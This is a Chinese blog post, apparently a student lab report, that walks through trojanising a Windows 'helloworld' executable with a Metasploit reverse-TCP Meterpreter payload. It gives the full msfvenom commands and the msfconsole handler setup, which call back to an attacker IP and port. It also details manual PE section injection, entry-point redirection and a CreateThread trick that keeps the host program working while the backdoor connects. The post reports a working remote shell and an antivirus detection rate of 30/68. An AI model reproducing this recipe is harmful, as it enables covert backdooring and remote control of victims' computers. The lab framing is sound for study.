尝试与实践 exe与shellcode捆绑

尝试与实践 exe与shellcode捆绑

经过查阅网上相关资料,kali中在终端输入以下指令以生成木马并捆绑到目标程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314 -x helloworldwin32.exe -f exe -o payload3.exe

该命令的大意就是使用的载荷(payload)为windows/meterpreter/reverse_tcp

运行后回连192.168.45.128的4314(我的学号)端口,原程序为helloworldwin32.exe,输出带有木马的程序,名称为payload3.exe

生成后发现无法运行原捆绑程序,翻看相关评论区,也有相关的网友反应这种情况:点击此处查看参考链接)

image-20220430221928497.

那我们就手工注入

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314 -f hex

执行命令后生成了16进制的shellcode

image-20220430222959475

把这个shellcode复制下来,准备插入到helloworldwin32.exe的一个新增节中

一、加新增节内容

在插入shellcode前,我们需要在文件末尾,进行0字节填充,以作为我们填充ShellCode的具体位置,由上图可知payload size为354字节,可以选择在文件尾部插入0x200个0字节,即512个字节(2 * 16 * 16),选中文件尾部->编辑->粘贴0字节

image-20220501134224132

这样才能将这些十六进制的数据写入pe文件呢?刚开始打算用python,以二进制形式读写……这种方法太麻烦了,后面才发现winhex里面有一个以十六进制写入的强大功能:

选择插入位置的起始点,右键->编辑->剪切板数据->写入

image-20220430225153383

选择确定

image-20220430225259787

选择剪切板格式为ASCII HEX

image-20220430225259797

插入成功

image-20220430225757933

二、改PE头(一)

在PE头中,下图中绿色框出的位置为节区数目,因为我们增加了一个节,所以需要把原来的3改成4,由于我们新增了0x1000的节区空间,那么相应所占内存大小也要加0x1000,如图蓝色部分原始大小为00004000此处改为00005000即可。

image-20220430231021606

PE文件头+.text节+.rdata节+.data节原来所占内存为0x4000,加了一个节(.hack)后,所占内存变成0x5000

image-20220430231553560

三、改PE头(二)

1.前8字节为节名称

2.接下来4字节为在文件中的节区尺寸(红色一),此处设为0X200

3.橘色为节区RVA,上一节起始为0x3000,内存节对齐粒度为0x1000,所以下一节起始RVA应该为0x4000。

4.接下来4字节为在内存中对齐后的尺寸(红色二),此处设为0X200

5.绿色色为文件偏移,上一节起始为0x800,在文件中对齐后尺寸为0x200,所以下一节起始RVA应该为0xA00

6.最后的4字节为节区属性,设为200000E0可读可写可执行

image-20220430232528112

.hack 虚拟偏移(橘色):上一节偏移+ 节大小(.hack) => 0x3000 + 0x1000 = 0x4000
.hack 实际偏移(绿色):上一节在文件中偏移 + 节实际大小(.hack) => 0x800 + 0x200 = 0xA00

四、更改函数入口地址

尝试一(失败):

思路一:将函数入口地址更改为程序加载时的位置,本次实验新增节加载位置为404000,在下方空白位置在用一条跳转命令跳转到原来的入口地址,本次实验原入口地址为401000。

image-20220501142201704

另存为修改的文件,文件命名为helloworldwin32mod_demo.exe

image-20220501142306887

winhex打开,修改函数入口地址为404000

image-20220501142447998

结果:失败了,我上网查找了相关的原因,寻找了好久,得到了网友对相关问题的解答博客链接

是因为程序运行时的优先级不同,我们的后门霸占了相关的资源,造成源程序资源调用申请长时间不被批准。原来的程序就出现了“假死”的情况

Video_2022-05-01_150021

程序流图:

pic1

尝试二:

程序流图:

pic2

image-20220501144425467

修改程序入口地址为0x404174

image-20220501145521361

结果:失败,还是出现了程序假死的效果

Video_2022-05-01_150346

尝试三:

如何才能避免假死效果呢?我找到了一篇博文,介绍了[创建多线程的函数_beginthreadex()](windows多线程(十一) 更安全的创建线程方式_beginthreadex() - ay-a - 博客园 (cnblogs.com)) ,然后我上微软官网查看了一下[_beginthreadex()函数简介](_beginthread, _beginthreadex | Microsoft Docs),个人觉得函数_beginthreadex()还是比较难理解的

在该博主的另外一篇博客中介绍了CreateThread()创建线程的方法,我感觉这种创建线程的方式比较容易理解和使用,于是在搜索引擎上寻找了与此函数相关的介绍:[微软官网CreateThread()函数简介](CreateThread function (processthreadsapi.h) - Win32 apps | Microsoft Docs) 、百度百科CreateThread()函数简介

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

需要传入6个参数,lpStartAddress表示新线程的起始地址,在本次实验中仅需向lpStartAddress传入ShellCode首地址即可,其他参数均为0

image-20220501153155108-16513903174051

OllyDbg打开,在函数新增节末尾注入创建线程的函数(call CreateThread)及跳转回原来入口地址的操作(jmp 401000),保存修改到新文件helloworldwin32mod.exe

image-20220501153722504

winhex修改函数入口地址为第一条push 0命令的地址0x40417A

image-20220501154117357

运行一下,函数原功能正常

image-20220501154242146

启动kali回连

msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.45.128
set lport 4314
run

image-20220501154558374

运行helloworldwin32.exe,原程序正常运行,远程回连成功

image-20220501154756865

看看能不能执行一条命令,dir看看,发现列出来了当前目录下的所有文件,实验成功

image-20220501154905243

总结:

part1:

重新启动计算机后,CreateThread的地址会发生改变,再次启动带有后门的程序,程序已经无法运行,原因是call CreateThread对应的机器指令是E8 32287675,重新启动后此位置机器指令仍然为E8 32287675,但是CreateThread已经发生改变,要想调用成功,只能改变机器指令为E8 82CDDB75,才能正常运行

重启前此处机器指令为E8 32287675

image-20220501155116330

重新启动后此位置机器指令仍然为E8 32287675

屏幕截图 2022-05-01 200122

重新调用才能正常运行

屏幕截图 2022-05-01 200212

part2:

回到前文,我验证了一下,msf生成的payload3是可以回连的,但是原程序不能正常运行,想一想为什么msf生成捆绑的payload没有跑起来?

我先用winhex打开,发现payload3.exe的函数入口是新增节起始位置(0x404000)我用OD打开payload3.exe和正常的helloworldwin32.exe,发现0x404000到0x404140部分 除了个别地方,几乎全部都是相同的,该部分主要是shellcode,负责回连的功能。

0x404140之后helloworldwin32.exe是全0,payload3.exe地址0x404140之后是一些我看不懂的指令,后来发现是导入表尾端部分,内容是MessageBoxA.user32.dll、ExitProcess.Kernel32.dll。但是可以确定的是此部分没有使程序jump到原入口(0x401000),才导致了原本功能不能实现的情况

image-20220501162226122

偏移量 意义 helloworldwin32.exe payload3.exe
PE头部分
B0+1A=CA 链接器版本,对文件执行无影响 0xC05 0x1
CD 所有代码段大小 0x200 0x2000
D1 已初始化数据大小 0x400 0x2000
D8 程序入口地址 0x417A 0x4000
100 内存中PE映像尺寸 0x5000 0x41F8
104 PE头+dos头+节表大小 0x400 0x248
108 校验和 0 0xDD95
130 导入表起始RVA 0x2010 0x4168
134 导入表长度 0x3C 0x82
150 重定位表 none 0x8000041F0
…… …… …… ……
220 节表名 .hack .nxce
228 文件对齐后尺寸 0x200 0x1F8
…… …… …… ……
600 导入表内容 2076 41DC
205C 41C0
…… …… …… ……
新增节尾部 none 出现了导入表尾部的内容

PE头部分

image-20220501191413546

节表部分

image-20220501191432279

导入表部分

image-20220501191432279

新增节尾部

image-20220501192029011

屏幕截图 2022-05-01 192621

part3:举一反三

A:遇到调用CreateThread()函数时要仔细分析

在恶意程序分析的过程中,如果有遇到程序调用CreateThread()函数,就要提高警惕,仔细分析程序的行为,观察子线是否有特殊行为。

B:更改主线程和子线程

上面我们是将起始点位于401000的原程序作为主线程,起始点位于404000的后门程序作为子线程;可不可以交换一下他们两个的位置,使起始点位于404000的后门程序作为主线程,起始点位于401000的原程序作为子线程呢

将子线程变成helloworld弹窗,主线程变成后门程序

image-20220501202404960

保存后运行,发现弹窗功能正常

image-20220501202635457

后门回连成功

image-20220501202721281

免杀效果

30/68,本质上特征码没有被更改,所以只能达到这样子的效果

posted @ 2022-05-01 20:46  倔强jujiang  阅读(689)  评论(0)    收藏  举报